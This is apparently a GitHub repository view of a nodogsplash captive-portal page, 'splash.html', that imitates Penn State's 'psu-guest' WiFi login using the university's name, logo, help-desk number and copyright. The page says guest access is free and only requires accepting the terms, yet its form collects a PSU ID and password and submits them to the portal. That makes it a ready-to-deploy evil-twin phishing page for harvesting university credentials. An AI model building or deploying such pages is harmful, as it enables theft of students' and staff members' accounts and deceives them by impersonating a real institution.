-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsplash.html
144 lines (125 loc) · 4.58 KB
/
splash.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Penn State | Login to psu-guest WiFi | Login</title>
<style>
body {
background-color: #1A3C84;
color: white;
font-family: 'Open Sans', sans-serif;
text-align: center;
margin: 0;
padding: 20px;
}
.box {
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
.logo-container {
background-color: rgba(200, 200, 200, 0.2);
border-radius: 15px;
padding: 20px;
display: inline-block;
margin-bottom: 30px;
}
.nwaForm {
margin: 30px 0;
}
.nwaForm input[type="password"],
.nwaForm input[type="text"] {
padding: 10px;
margin: 10px 0;
width: 250px;
font-size: 16px;
}
.form-group {
margin-bottom: 20px;
}
input[type="submit"] {
padding: 10px 20px;
margin: 15px 0;
font-size: 18px;
font-weight: 600;
color: white;
background-color: #2d5ab9;
border: none;
border-radius: 5px;
cursor: pointer;
width: 300px;
}
input[type="submit"]:hover {
background-color: #1e3c7d;
}
a {
color: #66ffff;
}
.skiplinks {
position: absolute;
left: -9999px;
}
#box3 {
margin-bottom: 0;
}
label {
display: block;
margin-bottom: 5px;
}
</style>
</head>
<body class="metro large nonav">
<div class="skiplinks">
<a href="#box2">Skip to main</a>
</div>
<div id="root">
<div class="box" id="box1" role="banner" aria-label="Banner">
<h1>
<div class="logo-container">
<div id="box3">
<img src="psulogoforincommon-456x150.png" alt="Penn State Logo" style="max-width: 456px; width: 75%;">
</div>
</div>
</h1>
</div>
<div class="box" id="box2" role="main" aria-label="Login">
<div id="content-marker">
<p>
<div style="font-size: 25px; margin-bottom: 20px;">
Welcome to Penn State!
</div>
</p>
<div style="font-size: 16px; line-height: 1.6; margin-bottom: 20px;">
Penn State provides free wireless access for visitors and guests. By clicking the Accept and Connect button below, you acknowledge your acceptance of the <a href="/guest/public/psu-guest/terms.html">Terms of Use</a> for Penn State's guest wireless network.
</div>
<div class="nwaForm">
<form method='get' action='$authaction'>
<input type='hidden' name='tok' value='$tok'>
<input type='hidden' name='redir' value='$redir'>
<div class="form-group">
<label for="psu-id">PSU ID:</label>
<input type='text' id="psu-id" name='psuId' placeholder='Enter your PSU ID' required>
</div>
<div class="form-group">
<label for="password">Password:</label>
<input type='password' id="password" name='nodogpass' placeholder='Enter password' required>
</div>
<input type='submit' value='Accept and Connect'>
</form>
</div>
<div style="font-size: 16px; line-height: 1.6; margin: 20px 0;">
If you have a Penn State access account, please click the button below to set up Penn State's wireless network on your device.
</div>
<input type="submit" onclick="location.href='https://wireless.psu.edu';" value="Setup Penn State Wireless">
<div style="font-size: 16px; line-height: 1.6; margin-top: 30px;">
For Assistance please call 814-865-4357 (HELP)
</div>
<div style="font-size: 12px; margin-top: 20px;">
© Copyright 2025 The Pennsylvania State University
</div>
</div>
</div>
</div>
</body>
</html>